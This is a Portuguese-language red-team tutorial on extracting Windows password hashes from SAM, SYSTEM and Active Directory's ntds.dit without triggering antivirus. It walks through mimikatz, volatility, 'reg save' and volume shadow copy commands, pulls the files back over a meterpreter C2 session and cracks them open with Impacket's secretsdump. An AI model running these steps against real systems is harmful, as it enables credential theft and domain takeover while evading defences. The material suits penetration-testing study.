oe                           xeee      .x~~"*Weu.   
    .@88      .xn!~%x.            d888R     d8Nu.  9888c  
==*88888     x888   888.         d8888R     88888  98888  
   88888    X8888   8888:       @ 8888R     "***"  9888%  
   88888    88888   X8888     .P  8888R          ..@8*"   
   88888    88888   88888>   :F   8888R       ````"8Weu   
   88888    `8888  :88888X  x"    8888R      ..    ?8888L 
   88888      `"**~ 88888> d8eeeee88888eer :@88N   '8888N 
   88888     .xx.   88888         8888R    *8888~  '8888F 
   88888    '8888>  8888~         8888R    '*8"`   9888%  
'**%%%%%%**  888"  :88%        "*%%%%%%**~   `~===*%"`    
              ^"===""                                     
                                                          
                                                         私たちはただ大好きです  <3

[ Red Teaming ]

Red Team é sem dúvidas uma das áreas mais complexas em Cyber Security, porém,
também é uma das áreas, se não, a área que simula melhor um ataque real, você
pode usar todos os recursos a sua disposição para comprometer o seu alvo, e o
seu alvo, pode usar todos os recursos a disposição dele, para mitigar suas ações.

Um dos grandes problemas que os Red Teamers enfrentam, é o AV (AntiVírus), quando
você compromete um domain controller na rede, ou um simples server, é comum que
esse servidor tenha um AV instalado, ele mitiga a possibilidade de você baixar
um payload para a máquina, o que evita, por exemplo, você subir esse determinado
domain controller / server para o seu c2.

[ AV (AntiVírus) ]

Vamos entender um pouco mais sobre o AV. Ele faz 2 tipos de análise, ele pode
análisar o disco em questão, e encontrar malwares, payloads, shellcodes... Ou seja,
se você comprometer o domain controller / server, você não consegue baixar seu
payload para a máquina, se você tentar, o AV vai erradicar o seu payload na hora,
e você perde completamente o engagement do seu Red Team, você é detectado...

Além da análise estática, o AV faz também uma análise dinâmica, direto na memória,
isso significa, que mesmo que você consiga fazer um processo malicioso entrar em
execução na memória, o AV ainda pode detectar e eliminar o processo na hora, e claro,
isso também faria você ser detectado e perde completamente o engagement do Red Team.

[ Hashdump ]

Um dos processos mais importantes na pós-exploração, sem dúvidas, é fazer
a extração de hashes do do domain controller / server que você comprometeu,
existem diversas formas de você efetuar essa extração, e um dos grandes problemas
é o AV (AntiVírus), por conta da análise dinâmica, ele pode identificar processos
maliciosos em runtime (tempo de execução). Isso mitiga quase que completamente o 
uso do mimikatz "puro", que é uma das, se não, a ferramenta mais utilizada quando
se trata de hashdump.

[ Safety Hashdump ]

Antes de falar sobre o hashdump de fato, vamos passear um pouco no windows e entender
algumas coisas...

- SAM - Security Account Manager

O SAM é uma database que armazena as credenciais dos usuários, o windows usa o SAM
para gerenciamento e autenticação das contas locais e em alguns sistemas, o AD faz
autenticações remotamente. O Arquivo é criptografado e protegido pelo windows.


- SYSTEM / System BootKey

O SAM é criptografado com a System BootKey, o arquivo/registro SYSTEM, o SYSTEM é
responsável por armazenar a chave de criptografia do SAM, ou seja, tendo o SYSTEM,
é possível descriptografar o SAM...


- ntds.dit

O ntds.dit é uma database que armazena os dados do AD (Active Directory), isso inclui
dados dos usuários, grupos e as hashes de todos os usuários do domain.

- Impacket - secretsdump.py

O toolkit do Impacket (amado por todos <3 nós) possui o secretsdump.py, que com as
informações necessárias pode extrair as hashes do ntds.dit / SAM... A melhor parte,
é que você pode fazer isso localmente, só com os arquivos necessários (SYSTEM & ntds.dit/SAM).
Ele vai ser essencial para fazer o Hashdump da forma mais safe possível...


[ Hands-On ]

Como dito anteriormente, o ntds.dit / SAM são protegidos pelo windows, é impossível
fazer a extração desses arquivos em tempo de execução do windows, existem 4 formas
de fazer a extração desses arquivos apesar da proteção.

- Extract from memory

Você pode fazer a extração direto da memória, dessa forma, você não vai mexer no
arquivo diretamente e vai conseguir fazer a extração das hashes, o grande problema
dessa técnica, é a análise dinâmica do AV... Não é viável usar, por exemplo,
o Mimikatz para fazer essa extração dinâmica da memória, porque ele pode ser detectado
pelo AV.

Mas a extração funciona da seguinte forma:

mimikatz # lsadump::sam
Domain : pinto.local
SysKey : ...
Local SID : S-1-----------------

SAMKey : ...

RID : 000001f4 (500)
User : Administrator
  Hash NTLM: ...

...

E assim, com um simples comando do mimikatz, você extrai as hashes do SAM...
Ele consegue esse resultado consultando o Registry Hive para conseguir os offsets
da SAM e da SYSTEM na memória, com essa informação, você pode extrair as hashes
usando volatility por exemplo..

:~% volatility imageinfo -f windowsmemory.dump
[cut \]
Suggested Profile(s) : Win2008R2SP1x64_23418
[cut \]

:~% volatility -f windowsmemory.dump hivelist --profile=Win2008R2SP1x64_23418
[cut \]
0xfffff8a000e77010 0x000000010d067010 \SystemRoot\System32\Config\SAM
[cut \]
0xfffff8a000025010 0x000000011501c010 \REGISTRY\MACHINE\SYSTEM

:~% volatility -f windowsmemory.dump --profile=Win2008R2SP1x64_23418 hashdump -s 0xfffff8a000e77010 -y 0xfffff8a000025010
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm
pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo
xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi


- Physic

Existe uma forma mais divertida, porém física, de fazer a extração, é também uma
forma bem simples... Você pode simplesmente plugar um pendrive e bootar um sistema,
depois simplesmente copiar a SAM e a SYSTEM, como o Windows não vai estar em execução,
ele não pode proteger esses arquivos... Mas é claro que, pra isso, você teria que ter
acesso físico ao servidor... E é claro que, seria impossível o AV detectar essa atividade,
pois ele não é um serviço ativo nesse caso.

- Registry

Você pode extrair todas as informações do registro Windows usando o comando "reg",
é uma das formas mais simples, se não, a forma mais simples de fazer a extração...

C:\pinto> reg save hklm\sam C:\temp\sam.save
C:\pinto> reg save hklm\system C:\temp\system.save

Supondo que você tenha o servidor conectado ao seu c2, você pode baixar os saves
do seu c2...

meterpreter > download 'C:\temp\sam.save' /home/xixi/SAM
\cut
meterpreter > download 'C:\temp\system.save' /home/xixi/SYSTEM
\cut

E por fim, usar o secretsdump.py do Impacket (~UwU~) para fazer a extração
das hashes

/home/xixi:% secretsdump.py -system system.save -sam sam.save LOCAL
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xXixi
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm
pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo
xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi
[*] Cleaning up...

Nem sempre essa técnica vai funcionar, mas como não tem nenhum payload, malware... O AV 
não consegue detectar nenhuma atividade maliciosa...

- Volume Shadow Copy

E a forma que é comumente usada pelos Red Teamers e acredito que seja a forma mais
eficiente contra AV e moderna, é efetuando uma Shadow Copy do volume em questão,
dessa forma, você pode extrair o SAM/ntds.dit e o SYSTEM diretamente da Shadow Copy, sem
processos maliciosos, portanto, sem perigo do AV detectar...

C:\pinto> vssadmin create shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
 Copyright 2001-2005 Microsoft Corp.

Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {id-id-id-id-id}
    Shadow Copy Volume Name: \\?\NAME\

\cut

C:\pinto> copy \\?\NAME\Windows\ntds\ntds.dit C:\temp\ntds.dit
    1 file(s) copied.

OR

C:\pinto> copy \\?\NAME\Windows\system32\config\SAM C:\temp\SAM
    1 file(s) copied.

\cut

C:\pinto> copy \\?\NAME\Windows\system32\config\SYSTEM C:\temp\SYSTEM
    1 file(s) copied.
\cut

C:\pinto> vssadmin delete shadows /shadow={id-id-id-id-id}
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
 Copyright 2001-2005 Microsoft Corp.

Do you really want to delete 1 shadow copies (Y/N): [N]? y

Successfully deleted 1 shadow copies.
\cut

Supondo que você tenha o servidor conectado ao seu c2, você pode baixar os arquivos
do seu c2...

meterpreter > download 'C:\temp\ntds.dit' /home/xixi/ntds.dit

OR

meterpreter > download 'C:\temp\SAM' /home/xixi/SAM
\cut

meterpreter > download 'C:\temp\SYSTEM' /home/xixi/SYSTEM
\cut

E por fim, usamos o Impacket (uwu s2) para extrair as hashes...

/home/xixi:% secretsdump.py -system SYSTEM -sam SAM LOCAL
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xXixi
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm
pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo
xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi
[*] Cleaning up...

OR

/home/xixi:% secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0xXixi
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ntlm
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ntlm
pinto:1001:aad3b435b51404eeaad3b435b51404ee:lixo
xixi:1005:aad3b435b51404eeaad3b435b51404ee:xixi
[*] Cleaning up...

<3 <3 <3
made by kosu
for Templo7k :)